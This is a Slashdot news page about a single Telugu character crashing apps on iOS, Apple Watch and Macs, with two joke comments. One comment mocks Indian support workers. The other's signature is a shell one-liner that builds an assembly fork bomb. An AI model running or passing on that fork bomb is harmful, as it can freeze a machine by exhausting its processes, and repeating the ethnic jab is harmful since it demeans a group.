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Mac and iOS Bug Crashes Apps With a Single Indian-Language Character (mashable.com)

Posted by msmash on from the watch-out dept.

A lone Indian-language character is crashing a number of messaging apps on iOS, users are reporting. The problem also extends to the Apple Watch and even Macs, all of which struggle to process the character specific to the Telugu language spoken in India.

2 of 114 comments (clear)

  1. Re:huh by cayenne8 · · Score: 4, Funny
    Geez.......

    And I thought it was bad enough trying to understand them on support calls......

    ;)

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    Light travels faster than sound. This is why some people appear bright until you hear them speak.........
  2. Re: A UTF8 processing failure? by Hal_Porter · · Score: 4, Funny

    We all need to adopt the Mojibake standard for non ASCII characters, like Slashdot.

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    echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;